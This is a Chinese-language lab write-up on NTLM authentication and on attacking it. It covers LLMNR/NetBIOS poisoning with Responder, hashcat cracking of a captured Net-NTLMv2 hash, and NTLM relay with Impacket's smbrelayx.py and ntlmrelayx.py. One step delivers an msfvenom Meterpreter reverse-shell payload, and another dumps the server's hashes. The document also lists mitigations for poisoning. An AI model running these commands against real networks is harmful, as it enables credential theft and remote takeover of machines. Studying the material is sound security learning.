NTLM Relay
NTLM-Hash和NET-NTLM-Hash：
Windows机器基本都采用NTLM-Hash来存储用户密码，通常保存在SAM文件中(域Hash保存在域控的NTDS.dit文件中)，可以用mimikatz读取lsass进程获得已登录用户的密码hash，或者用注册表的形式导出SAM文件获得在本机存储的用户hash。
从Window Vista 和 Windows Server 2008开始，默认情况只存储Ntlm Hash。某些工具在PTH或者其他过程中需要使用 LM:NTLM 格式的时候，LM可以为任意值。
NET-NTLM-Hash是由NTLM-Hash和challenge值加密生成的，用于NTLM认证。
NTLMv1和NTLMv2(用于NTLM认证)：
Challenge：
NTLM v1：8字节
NTLM v2：16字节
Net-NTLM-Hash：
NTLM v1：DES加密算法
NTLM v2： HMAC-MD5加密算法
当然由于使用不同格式的 Challenge 和加密算法，也就存在不同的 Net-NTLM hash，即 Net-NTLM v1 hash，Net-NTLM v2 hash
NTLMv1不够安全，拿到后可以进行暴力破解，所以现在大多都是使用的NTLMv2。
本地认证流程：
winlogon.exe -> 接收用户输入 -> lsass.exe -> (认证)
首先，用户注销、重启、锁屏后，操作系统会让winlogon.exe显示登录界面，也就是输入框，接收输入后，将密码交给lsass进程，这个进程中会存一份明文密码，将明文密码加密成NTLM Hash，对SAM数据库比较认证。
Windows Logon Process(即 winlogon.exe)：是Windows NT 用户登陆程序，用于管理用户登录和退出。
LSASS：用于微软Windows系统的安全机制。它用于本地安全和登陆策略
NTLM认证：
工作组中
1.客户端告诉服务器它要进行身份验证。
2.服务器传入 NTLM SSP，得到 NTLM_CHALLENGE 消息(16位随机值)，并返回给客户端。
3.客户端取出challenge随机值，使用要登录用户的NTLM-Hash对challenge进行加密，得到相应的NET-NTLM-Hash，发送给服务端。
4.服务端根据challenge同样使用存储的登录用户密码 hash 加密 Challenge，生成challenge1，比较NET-NTLM-Hash和challenge1，如果相同则验证成功
域环境中
前三步与工作组相同
4.由于域机器SAM文件中不存在域用户的NTLM hash，所以服务器将客户端用户名、第三步返回的NET-NTLM-Hash和第二步生成的NTLM_CHALLENGE通 Netlogon协议交到域控手中,让域控对其进行身份验证。
5.域控通过客户端用户名在自己的ntds.dit中找到对应的NTLM-Hash，用NTLM_CHALLENGE对其进行加密，再与NET-NTLM-Hash进行对比。如果相同则表示用户拥有的密码是正确的，否则则验证失败，DC将结果返回给服务器。
6.服务器根据DC的结果成功与否返回给客户端。
SSPI接口(安全支持提供程序接口)
是微软提出的用于标准化身份验证的接口，事先定义好了与安全有关的功能函数,用于获取校验信息完整性等，没有具体的实现。
SSP(安全服务提供)
为SSPI的实现者,微软自己实现了如下的 SSP，用于提供安全功能。例如：NTLM SSP，Kerberos等。
现在Windows主要用 NTLMv2(工作组环境) 和 Kerberos(域环境) 验证体系。NTLM只支持Windows，而Kerberos不仅支持Windows，而且支持Linux。
NetBIOS和LLMNR欺骗得到Net-NTLMHash
什么是NetBIOS和LLMNR：
NetBIOS和LLMNR（Link-LocalMulticast NameResolution）是Microsoft针对工作组和域设计的名称解析协议，主要用于局域网中的名称解析。当DNS解析失败时，Windows系统会使用NetBIOS和LLMNR搜索名称。这些协议只为本地连接设计。
Netbios(Network Basic Input Output System)：网络基本输入输出系统
是一种应用程序接口(API)，系统可以利用WINS服务、广播及Lmhost文件等多种模式将NetBIOS名解析为相应IP地址。几乎所有的局域网都是在NetBIOS协议的基础上工作的。在Windows操作系统中，默认情况下在安装 TCP/IP 协议后会自动安装NetBIOS。
LLMNR(Link-LocalMulticast NameResolution)：链路本地多播名称解
是一个基于协议的域名系统（DNS）数据包的格式。LLMNR协议类似于ARP协议：当主机访问另外一台主机时，如果只知道对方的主机名，则会向局域网内广播请求，询问该主机名对应的ip地址，然后收到该请求的主机首先会判断自己的主机名是否是这个，如果是的话则会回复一个ip地址，如果主机名不符合则丢弃。
攻击原理：
windows解析顺序：
本地host文件>dns缓存>dns服务器>名称解析协议（NetBIOS和LLMNR广播）
NetBIOS和LLMNR协议对于没有DNS的工作站系统来说很有帮助，但也对攻击者大开方便之门。当输入不存在、包含错误或者DNS中没有的主机名时，就会使用这些协议在网络中搜索主机，这些协议的本质决定了本地网络上的任何主机都可以回答请求。这意味着作为攻击者，能够代替网络上任何不存在的主机回答请求，并诱导搜索内容的主机连接到攻击者。
Responder进行攻击：
kali已经默认集成了responder，这个工具能进行NetBIOS，LLMNR欺骗。
攻击者：
responder -I eth0 -f
其中：
-I表示指定的网卡，-f表示允许攻击者查看受害者的主机指纹。
开启后，对LLMNR、NetBIOS、DNS/MDNS的毒化开始进行。
受害者在资源管理器的地址栏中输入\\adaaaada时，系统会尝试连接主机“adaaaada”。首先它会检查本地host文件，然后检查DNS，如果都不存在，就会通过LLMNR协议进行多播，在局域网中进行搜索。此时可以在攻击机上看到Responder的响应，然后受害者的Windows机器会向攻击者进行身份验证。
获取Net-NTLMHash：
responder也会自动将结果保存在/usr/share/responder/logs/ 目录下
使用Hashcat破解Net-NTLMHash：
hashcat.exe -m 5600 aspnet::HIRO:67317ae12da2a6bf:0A8C18A3412E1051B33A5516618CB23B:010100000000000080DD00168A5FD701E1910DC282B3666E00000000020008004600340059004D0001001E00570049004E002D004F003600470056004A00480048004600460059005A0004003400570049004E002D004F003600470056004A00480048004600460059005A002E004600340059004D002E004C004F00430041004C00030014004600340059004D002E004C004F00430041004C00050014004600340059004D002E004C004F00430041004C000700080080DD00168A5FD70106000400020000000800300030000000000000000100000000200000EFBD98EB057A087ACFA02DC5E544C7C6ED6CDC5EC6C87BD8BA7AABFBAC48E6910A001000000000000000000000000000000000000900180063006900660073002F0061006100610061007300730073000000000000000000 pass.txt --force
其中：
aspnet:要访问的服务器的用户名
HIRO：域名
67317ae12da2a6bf：16位的challenge值
剩余部分：根据自身密码的NTLM-hash对challenge加密
爆破得到密码：
防止NetBIOS和LLMNR欺骗：
NetBIOS：
网络适配器--属性--IPV4--属性--高级--WINS--选中“禁用TCP / IP上的NetBIOS”
LLMNR：
本地计算机策略 > 计算机配置 > 管理模板 > 网络 > DNS客户端>关闭多播名称解析
NTLM-relay攻击
其实就相当于中间人攻击，client认为attacker是server端，而server端也以为attacker是client端，attacker在中间起到进行数据转发的作用。
内网工作环境：
工作组：
NTLM Relay攻击在工作组环境下感觉用处不大，因为工作组只是在一个内网环境中，各个机器并没有明确关系，所以这个时候relay的话需要账号密码相同，但是如果账号密码相同的话，为什么不直接用哈希传递呢？
域：
域环境中的hash都统一存储在域控的NTDS.dit中，如果域内没有限制域用户登录到指定机器，那么就能域用户relay到其他机器或者直接使用域控relay到域机器(域控默认开启smb签名，而其他域机器默认不开启)
实验环境：
client：域控@administrator@192.168.228.10
server1: 域机器@192.168.228.13(win2008)
server2：域机器@192.168.228.40(win10)
attacker：kali@192.168.228.110
NTLM-relay复现：
Impacket中的smbrelayx.py
攻击者伪造一个恶意的SMB服务器，当内网中有client访问这个SMB服务器时，smbrelayx.py将抓到client的NET-NTLM-Hash,然后重放给server端进行身份验证。
先生成一个msf马：
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.228.110 LPORT=4444 -f exe > shell.exe
msf设置监听：
ps：要设置set AutoRunScript migrate，成功得到session后自动迁移进程，如果没有设置，在Removing file的时候会话也随之结束。
执行smbrelayx.py：（由于server2端中的win10不成功，所以采用server1进行攻击）
首先将生成的msf马拖到smbrelayx.py同目录下
python3 smbrelayx.py -h 192.168.228.13 -e ./shell.exe （-e选项在目标主机上传并运行payload）
在域控上执行
可以看到在kali中：
smbrelayx.py拿到了当前用户的NET-NTLM-Hash
msf获得了192.168.228.13的会话
Impcaket中的ntlmrelayx.py
ntlmrelayx.py是对smbrelayx的改进，支持多种协议进行中继。
ntlmrelayx.py 脚本可以直接用现有的 hash 去尝试重放指定的机器
kali:
responder -I eth0 -r -d -v 开启毒化
python3 ntlmrelayx.py -t smb://192.168.228.40(server端ip)
在域控资源管理器的地址栏中输入\\bbb时，系统会尝试连接主机“bbbbb”。首先它会检查本地host文件，然后检查DNS，如果都不存在，就会通过LLMNR协议进行多播，在局域网中进行搜索。此时可以在攻击机上看到Responder的响应，然后受害者的Windows机器会向攻击者进行身份验证。
responder开启毒化后将身份验证所需的NET-NTLM-Hash传到192.168.228.40(server端ip)，在server端进行验证。
Relay成功后这个脚本重放了445并执行了dumphash的命令，由于是域管用户，所以将server端存储的所有hash都dump出来了。
分析：
生成如下smb数据包
可以看到36-38中attacker作为中间人转发了challenge
39-41中attacker作为中间人转发了NTLM-response
在整个过程中attacker只会做一个中间人该做的事情，把相应的凭证在client和server进行转发
参考：
https://en.hackndo.com/ntlm-relay/
https://blog.csdn.net/whatday/article/details/107698383
很多利用方法并没有列出来，到时候都整理清楚了再添吧。。。
